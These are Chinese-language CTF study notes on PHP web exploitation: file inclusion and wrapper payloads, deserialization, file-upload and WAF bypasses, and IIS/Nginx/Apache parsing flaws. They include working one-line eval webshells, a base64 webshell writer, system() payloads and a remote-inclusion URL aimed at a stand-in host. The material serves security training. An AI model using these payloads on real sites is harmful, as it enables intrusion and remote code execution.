ctf笔记:php
ctf笔记:php
博客链接:https://www.blog.23day.site/articles/80
语法
攻防世界:easy_php
==
攻防世界:simple_php
- $a == $b等于TRUE,如果类型转换后 $a 等于 $b。
- $a === $b全等TRUE,如果 $a 等于 $b,并且它们的类型也相同。
- $a != $b不等TRUE,如果类型转换后 $a 不等于 $b。
- $a <> $b不等TRUE,如果类型转换后 $a 不等于 $b。
- $a !== $b不全等TRUE,如果 $a 不等于 $b,或者它们的类型不同。
- $a < $b小与TRUE,如果 $a 严格小于 $b。
- $a > $b大于TRUE,如果 $a 严格大于 $b。
- $a <= $b小于等于TRUE,如果 $a 小于或者等于 $b。
- $a >= $b大于等于TRUE,如果 $a 大于或者等于 $b。
文件包含
PHP文件包含漏洞主要由于四个函数引起的:
- require()/require_once():如果在包含过程中有错,那么直接退出,不执行进一步操作。
- include()/include_once(): 如果在包含过程中出错,只会发出警告
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析
<?php
$file = $_GET['file'];
include $file;
?>
在同目录下有个phpinfo.txt,其内容为<? phpinfo(); ?>
。则只需要访问:index.php?file=phpinfo.txt
,即可成功解析phpinfo。
分类
LFI(Local File Inclusion)
本地文件包含漏洞,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。
RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置
- allow_url_fopen = On
- allow_url_include = On
两个配置选项均需要为On,才能远程包含文件成功。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off
php伪协议
php://input
攻防世界:Web-php-include
php://input
可以获取POST的数据流,当它与包含函数(include、require等)结合时,php://input流会被当作php⽂件执⾏,从⽽导致任意代码执⾏。
利用条件:
- allow_url_include = On
- allow_url_fopen = Off/On
index.php?file=php://input
POST:
<? phpinfo();?>
// php://input利用文件包含写入shell
<?php
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>
<?php
system('ls');
?>
php://filter
攻防世界:fileinclude
攻防世界:fileinclude
攻防世界:file_include
php://filter可以获取指定⽂件源码,当它与包含函数结合时,php://filter流会被当作php⽂件执⾏。所以我们⼀般对其进⾏编码,让其不执⾏,从⽽导致任意⽂件读取。
利用条件:
- allow_url_include = Off/On
- allow_url_fopen = Off/On
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
//效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。
index.php?file=php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
php://filter包含下列参数:
- resource=<待过滤数据流> 必选,指定你要筛选过的的数据流
- read=<读链筛选列表> 可选,⼀个或多个过滤器名称,以管道符分割
- write=<写链筛选列表> 可选,⼀个或多个过滤器名称,以管道符分割
过滤器我们分为
-
转换过滤器
-
convert.base64
我们可以使⽤ convert.base64-encode 或 convert.base64-decode 来进⾏base64编码或解码。这样我们直接包含php⽂件时,php代码部分会执⾏,我们⽆法得到源码,⽽使⽤此过滤器则可将代码先进性base64编码,我们得到之后再进⾏base64解码,这样就能得到源码了
-
convert.quoted-printable
使⽤ convert.quoted-printable-encode 或 convert.quoted.printable-decode 来进⾏ quoted-printable 编码或解码,⽤法和base64类似
-
convert.iconv.*
convert.iconv.<input-encoding>.<output-encoding> convert.iconv.<input-encoding>/<output-encoding>
php支持的编码格式(部分)
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win* ISO-2022-JP ISO-2022-JP-MS CP932 CP51932
例如:convert.iconv.UCS-4*.UCS-4BE —> 将指定的文件从UCS-4*转换为UCS-4BE 输出
-
-
字符串过滤器
-
rot13
使⽤ string.rot13 来对字符串内容进⾏ rot13 编码
ROT13编码是把每一个字母在字母表中向前移动13个字母得到。数字和非字母字符保持不变。
-
toupper
使⽤ string.toupper 来将字符串内容变⼤写
-
tolower
使⽤ string.tolower 来将字符串内容变⼩写
-
strip_tags
使⽤ string.strip_tags 将字符串中的空字符,HTML和PHP标记去除。
-
-
压缩过滤器
-
加密过滤器
phar:// 和zip://
利用条件:PHP版本大于5.3.0
这两个方法都可以解析zip压缩文件里面的文件内容并当做脚本执行
假设test.zip里面有个文件为phpinfo.txt,解析执行phpinfo.txt的方法有:
index.php?file=phar:///www/..../test.zip/phpinfo.txt (phar://绝对路径)
index.php?file=phar://test.zip/phpinfo.txt (phar://相对路径)
index.php?file=zip:///www/.../test.zip/phpinfo.txt (zip必须是绝对路径)
data:<URI> <schema>
利用条件
- php版本大于等于php5.2
- allow_url_fopen = On
- allow_url_include = On
常用格式
- data:, <文本数据>
- data:text/plain, <文本数据>
- data:text/html, <HTML代码>
- data:text/html;base64, < base64编码的HTML代码>
- data:text/css, <CSS代码>
- data:text/css;base64, <base64编码的CSS代码>
- data:text/javascript, <Javascript代码>
- data:text/javascript;base64, <base64编码的Javascript代码>
- data:image/gif; base64,base64编码的gif图片数据
- data:image/ png; base64,base64编码的png图片数据
- data:image/jpeg;base64, base64编码的jpeg图片数据
index.php?file=data:URL,<?phpinfo();?>
index.php?file=data:URL;base64,PD9waHAgcGhwaW5mbygpOz8%2b
//加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>
index.php?file=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
文件包含
包含session
条件:session文件路径已知,且其中内容部分可控(php的session文件的保存路径可以在phpinfo的session.save_path看到)
常见session文件路径
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
包含日志
实现条件:需要知道服务器日志的存储路径,且日志文件可读。
web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含
包含SSH log
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
ssh '<?php phpinfo(); ?>'@<remote host>
之后会提示输入密码,然后在remotehost的ssh-log中即可写入php代码,之后进行文件包含即可。
包含environ
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它即可。
包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可
类似利用临时文件的存在,竞争时间去包含的
绕过WAF
在日常情况下,碰到的可能是如下这种有前缀又有后缀的情况
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
绕过前缀指定
考虑这种只有前缀的情况
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
现在在/var/log/test.txt文件中有php代码,则利用…/可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/test.txt
则服务器端实际拼接出来的路径为:/var/www/html/…/…/log/test.txt,也即/var/log/test.txt。从而包含成功。
绕过后缀指定
接着考虑指定后缀的情况。测试代码:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
URL
url格式
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制
1.query(?)绕过
index.php?file=http://remoteaddr/remoteinfo.txt?
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作query从而被绕过。
2.fragment(#)绕过
index.php?file=http://remoteaddr/remoteinfo.txt%23
则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作fragment从而被绕过。注意需要把#
进行url编码为%23
。
利用协议
前面有提到过利用zip协议和phar协议。假设现在测试代码为:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
构造压缩包,其中test.php内容为:
<?php phpinfo(); ?>
利用zip协议,注意要指定绝对路径
index.php?file=zip:///www/fileinclude/chybeta.zip%23chybeta
则拼接后为:zip:/www/fileinclude/chybeta.zip#chybeta/test/test.php
长度截断
利用条件: php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
index.php?file=././././。。。。。。././shell.txt
则后缀/test/test.php
,在达到最大值后会被直接丢弃掉
0字节截断
利用条件: php版本 < php 5.3.4
index.php?file=phpinfo.txt%00
能利用00截断的场景现在应该很少了
misc
攻防世界:warmup
参数有/../../../../
这样的路径,所以符合最后一段话如果定义了路径,就会忽略/
前的字符串而找/../../../../ffffllllaaaagggg
这个文件
序列化、反序列化
原理
序列化实际是为了传输的方便,以整个对象为单位进行传输, 而序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
序列化
<?php
class User
{
public $age = 0;
public $name = '';
public function PrintData()
{
echo 'User '.$this->name.'is'.$this->age.'years old. <br />';
}
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = 'daye';
//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);
?>
User dayeis20years old. <br />O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
序列化字符串解释
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
对象类型
- a – array
- b – boolean
- d – double
- i – integer
- o – common object
- r – reference
- s – string
- C – custom object
- O – class
- N – null
- R – pointer reference
- U – unicode string
反序列化
<?php
class User
{
public $age = 0;
public $name = '';
public function PrintData()
{
echo 'User '.$this->name.' is '.$this->age.' years old. <br />';
}
}
//重建对象
$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');
$user->PrintData();
?>
User daye is 20 years old.
反序列化漏洞
魔术方法
- __construct 当一个对象创建时被调用
- __destruct 当一个对象销毁时被调用
- __toString 当一个对象被当作一个字符串被调用
- __wakeup() 使用unserialize时触发
- __sleep() 使用serialize时触发
- __destruct() 对象被销毁时触发
- __call() 在对象上下文中调用不可访问的方法时触发
- __callStatic() 在静态上下文中调用不可访问的方法时触发
- __get() 用于从不可访问的属性读取数据
- __set() 用于将数据写入不可访问的属性
- __isset() 在不可访问的属性上调用isset()或
empty
()触发 - __unset() 在不可访问的属性上使用unset()时触发
- __toString() 把类当作字符串使用时触发,返回值需要为字符串
- __invoke() 当脚本尝试将对象调用为函数时触发
漏洞利用
当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。
利用条件
- unserialize的参数可控。
- 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
wakeup()绕过
攻防世界:Web-php-unserialize
CVE-2016-7124
当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行
字符逃逸
文件上传
客户端校验
本地js检测
- 利用burp抓包改包,先上传一个jpg类型的木马,然后通过burp将其改为asp/php/jsp后缀名
- 浏览器禁用js
服务端黑名单后缀校验
上传特殊可解析后缀
- asp|asa|cer|cdx
- aspx|ascx|ashx|asax|asac
- php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根据配置文件中设置类型来决定)
- jsp|jspx|jspf
- htm|html|shtml|pwml|js
- vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
上传.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效前提条件为:
- mod_rewrite 模块开启
- AllowOverride All
上传.user.ini
原理:
- .user.ini 有点像.htaccess,php运行时,会检索加载所有目录下的.ini配置文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。
- .user.ini是一个能被动态加载的ini文件,这点和php.ini不同。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM
、PHP_INI_PERDIR
、PHP_INI_ALL
、PHP_INI_USER
。
其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
这里就很清楚了,.user.ini
实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
实际上,除了PHP_INI_SYSTEM
以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
而且,和php.ini
不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。
然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM
模式的(甚至是php.ini only的),包括disable_functions
、extension_dir
、enable_dl
等。 不过,我们可以很容易地借助.user.ini
文件来构造一个“后门”。
Php配置项中有两个比较有意思的项(下图第一、四个):
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xobVt7tE-1671183312067)(img/ctf-web-php/2014103002272554789.png)]
auto_append_file
、auto_prepend_file
,点开看看什么意思:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z1ykRh9k-1671183312068)(img/ctf-web-php/2014103002272569525.png)]
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
利用
上传.user.ini:
auto_prepend_file=1.gif # 要访问的文件加载之前加载
auto_append_file=1.gif # 要访问的文件加载之后加载
上传一个包含webshell代码的1.gif:
GIF98A <?php eval($_POST['a']);?>
访问本目录下任意文件附带参数?a=xxx 就可以实现命令执行
?a=system('whoami');
黑名单绕过
点绕过:windows会对文件中的点进行自动去除,所以可以在文件末尾加点绕过 .php.
空格绕过:filename=.php
<- 最后加个空格
后缀双写绕过:./pphphp
后缀大小写绕过:.PHP
%00绕过:%00截断 .php%00
0x00绕过:还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
::$DATA:windows特性,可在后缀名中加” ::$DATA”绕过
检查内容
文件头检查
文件类型 | 文件头 | 文件尾 |
---|---|---|
JPEG (jpg) | FFD8FF | FF D9 |
PNG (png) | 89504E47 | AE 42 60 82 |
GIF (gif) | 47494638 | 00 3B |
ZIP Archive (zip) | 504B0304 | 50 4B |
TIFF (tif) | 49492A00 | |
Windows Bitmap (bmp) | 424D | |
CAD (dwg) | 41433130 | |
Adobe Photoshop (psd) | 38425053 | |
Rich Text Format (rtf) | 7B5C727466 | |
XML (xml) | 3C3F786D6C | |
HTML (html) | 68746D6C3E | |
Email [thorough only] (eml) | 44656C69766572792D646174653A |
绕过方法:
1.木马文件中插入允许上传的文件类型的文件头
如gif
GIF98A <?php eval($_REQUEST['a']);?>
2.生成图片马
copy 1.jpg/b + 1.php/a 2.jpg
b表示二进制文件 a表示ASCII文件
MIME
在把输出结果传送到浏览器上的时候,浏览器必须启动应用程序来处理这个输出文档。这可以通过多种类型MIME(多功能网际邮件扩充协议)来完成。
在HTTP中,MIME类型被定义在Content-Type header中。
常见的MIME类型:
- .html text/html
- .txt text/plain
- .gif image/gif
- .jpg image/jpeg
- .png image/png
正常上传木马文件,burp抓包修改 Content-Type:image/jpg 等
二次渲染
上传gif图片:先将普通的gif图片上传,会被渲染,渲染之后再下载下来,与原git图片对比,找到渲染前后没有变化的位置,然后在这些位置插入php一句话,再上传即可。
上传jpg、png图片:这两种格式图片的二次渲染绕过要难很多很多:png(索引类型图,写入 PLTE 数据块或写入IDAT数据块),jpg(成功性不大) https://xz.aliyun.com/t/2657#toc-3
条件竞争
由于代码逻辑问题,其先将我们上传的图片保存,然后再进行处理,删除原图片,因此我们可以利用条件竞争,在我们上传的图片马被删除之前触发它。
方法:
利用burp不断发包,不断触发
<?php fputs(fopen(‘a.php’,’w’),‘<?php eval($_POST[cmd])?>’); ?>
绕过WAF
云WAF
通过寻找域名真实IP,使用真实IP进行文件上传,绕过waf限制
例如:
传shell时发现存在某云WAF,需进一步绕过
通过寻找域名真实IP,使用真实IP进行文件上传,绕过waf限制
构造畸形的数据包,打乱waf的检测
WAF如何拦截:
- 文件名:解析文件名,判断是否在黑名单内
- 文件内容:解析文件内容,判断是否为webshell
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。
绕过
获取文件名的地方在Content-Disposition: form-data; name=“file_x”; filename=”xx.php”和Content-Type里,所以绕过的地方也就在这两个地方了。
1、去掉引号
2、双引号变单引号
3、多加一个引号
4、大小写
对这三个固定的字符串进行大小写转换
比如name转换成Name,Content-Disposition转换成content-disposition。
5、空格
在: ; =添加1个或者多个空格,不过测试只有filename在=前面添加空格,上传失败。
在filename=后面添加空格上传成功
6、去掉或修改Content-Disposition值
有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。
7、删掉content-type
8、交换name和filename的顺序
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。
有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass:
Content-Disposition: form-data; filename="xx.php"; name=file_x
9、多个boundary
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
10、多个filename
最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
11、多个分号
文件解析时,可能解析不到文件名,导致绕过。
12、header头,Content-Type : multipart/form-DATA
这种绕过应该很少,大多数都会忽略大小写。php和java都支持。
13、header头在boundary前添加任意字符
php支持,java不支持
14、filename换行
15、filename文件名添加单引号(‘)分号(;)等
filename==”hh’ h.php”
filename=”hh;h.php”
16、filename或者filename=绕过
17、name 和filename之间添加任意字符或者是大量字符
18、form-data用+拼接
19、Content-Disposition:*
20、filename=”1.jpg .Php”类似这种的各种尝试
上传成功后寻找返回路径
正常情况下,在返回包中可以找到文件上传路径,如果未返回路径或找不到,可以尝试以下方法:
- 刷新
- f12 network/浏览器history搜索shell名字
- 点击下载文件可能就知道了路径或相似路径
有些时候改名字的wordpress插件,编辑器等等,就可以通过这种方式发现
-
返回了一些参数但不包括路径的情况,比如file_id 等等,那么文件路径可能存储在数据库中,可以结合sql注入 sqlmap的–search -C参数找到字段和值
-
什么都没返回的情况,只返回了ok,true等等。重新加载,抓包看响应,或许某个接口的响应就包括对应的路径。
比如头像位置上传上去了,但是没有返回路径,那么想办法让他在加载一遍,比如退出重新登陆,一个包一个包的放。可能有些包的响应中就包含路径。
另外可能存在其他服务器、或者其他站点的其他路径,也是抓包查看,看一下加载过程的路径在哪或者看一下html、js
-
只返回了文件名,没有路径
一种是fuzz,看其他同类型文件的路径,f12或者如果有文件下载的地方,下载抓包,看文件地址。
另一种是 尝试上传的时候目录穿越,一次一次尝试,看能否穿到站点根目录或者知道的目录下面。修改不如表单的其他参数、或者filename参数的值
-
尝试访问日志文件,看能否发现一些敏感目录或上传目录
-
上传上去没有访问直接下载,当前文件夹没有执行权限
这种情况,尝试目录穿越的方式,穿到其他目录下,比如根目录,来绕过限制
…/->%C0%AE%C0%AE/
/…/ …\
服务器文件解析漏洞
文件解析漏洞
文件解析漏洞主要由于网站管理员操作不当或者 Web 服务器自身的漏洞,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。
比如网站管理员配置不当,导致php2、phtml、ascx等等这些文件也被当成脚本文件执行了。甚至某些情况下管理员错误的服务器配置导致.html、.xml等静态页面后缀的文件也被当成脚本文件执行。
但是,大部分的解析漏洞还是由于web服务器自身的漏洞,导致特殊文件被当成脚本文件执行了。
IIS解析漏洞
目录解析漏洞(/test.asp/1.jpg)
在 IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、.asa、.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了
文件名解析漏洞(test.asp;.jpg)
在 IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 .asp;.jpg、.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。
畸形解析漏洞(test.jpg/*.php)
微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5
在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码
<?php fputs(fopen(‘a.php’,’w’),‘<?php eval($_POST[cmd])?>’); ?>
将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。
其他解析漏洞
在windows环境下,xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。
Ngnix解析漏洞
畸形解析漏洞(test.jpg/*.php)
漏洞原因:
php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
/etc/php5/fpm/pool.d/www.conf
中不正确的配置security.limit_extensions
,导致允许将其他格式文件作为php解析执行
在nginx<0.8.03环境中,我们新建一个文件,内容为:<?php phpinfo() ?>
,然后将其名字修改为: test.jpg
在浏览器中访问 http://192.168.10.139/test.jpg 显示图片解析错误。在浏览器中访问 http://192.168.10.139/test.jpg/test.php ,显示:Access denied. 。这就奇怪了,test.jpg是文件不是目录,test.php更是根本就不存在的文件,访问/test.jpg/test.php没有报404,而是显示 Access denied. 。
原因在于,Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,于是转交给php去处理。php一看 /test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回 Access denied
这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。是这对文件路径进行处理。举个例子,当 php 遇到文件路径 /aaa.xxx/bbb.yyy/ccc.zzz 时,若 /aaa.xxx/bbb.yyy/ccc.zzz 不存在,则会去掉最后的 /ccc.zzz ,然后判断 /aaa.xxx/bbb.yyy 是否存在,若存在,则把 /aaa.xxx/bbb.yyy 当做文件 /aaa.xxx/bbb.yyy/ccc.zzz ,若 /aaa.xxx/bbb.yyy 仍不存在,则继续去掉 /bbb.yyy ,以此类推。
该选项在配置文件 php.ini 中。若是关闭该选项,访问 http://127.0.0.1/test.jpg/test.php 只会返回找不到文件。但关闭该选项很可能会导致一些其他错误,所以一般默认是开启的。
但是目前我们还没能成功执行代码,test.jpg 没有当成php文件执行,只是返回了 Access denied ,因为新版本的php引入了security.limit_extensions ,限制了可执行文件的后缀,默认只允许执行.php文件。
这一漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions 的引入,使得该漏洞难以被成功利用。
为何是Nginx中的php才会有这一问题呢?因为Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。而如Apache等,会先看该文件是否存在,若存在则再决定该如何处理。cgi.fix_pathinfo是php具有的,若在php前便已正确判断了文件是否存在,cgi.fix_pathinfo便派不上用场了,这一问题自然也就不存在了。(IIS在这一点和Nginx是一样的,同样存在这一问题)
%00空字节代码解析漏洞
原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
在以下版本的nginx中,我们在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php 来执行其中的代码
- Nginx 0.5.*
- Nginx 0.6.*
- Nginx 0.7 <= 0.7.65
- Nginx 0.8 <= 0.8.37
CVE-2013-4547(%20%00)
影响nginx版本:nginx 0.8.41 ~ 1.5.6
这一漏洞的原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。是什么意思呢?举个例子,假设服务器上存在文件:“file.jpg ”,注意文件名的最后一个字符是空格。则可以通过访问:
http://127.0.0.1/file.jpg \0.php
让Nginx认为文件“file.jpg ”的后缀为“.php”
但是由于 security.limit_extensions 的存在,导致我们并不能利用此漏洞
Apache解析漏洞
文件名解析漏洞
apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。比如 xie.php.owf.rar .owf和.rar 这两种后缀是apache不可识别的解析,apache就会把xie.php.owf.rar解析成 xie.php 。如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个 xie.php.rara.jpg.png…(把你知道的后缀都写上去)去测试是否是合法后缀。任意不识别的后缀,逐级向上识别。
罕见后缀
计算机世界自开天辟地以来,便自由多彩。还记得mime.types文件吗?在该文件中搜索“php”这三个字母,结果如下所示:
- werner@Yasser:~$ cat /etc/mime.types | grep php
- #application/x-httpd-php phtml pht php
- #application/x-httpd-php-source phps
- #application/x-httpd-php3 php3
- #application/x-httpd-php3-preprocessed php3p
- #application/x-httpd-php4 php4
- #application/x-httpd-php5 php5
还记得正则表达式”.+.ph(p[345]?|t|tml)$”吗,该正则表达式匹配的不仅仅有php,还有php3、php4、php5、pht和phtml。
不仅php,就连phtml、pht、php3、php4和php5都是Apache和php认可的php程序的文件后缀。
.htaccess文件
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效前提条件为:
- mod_rewrite 模块开启
- AllowOverride All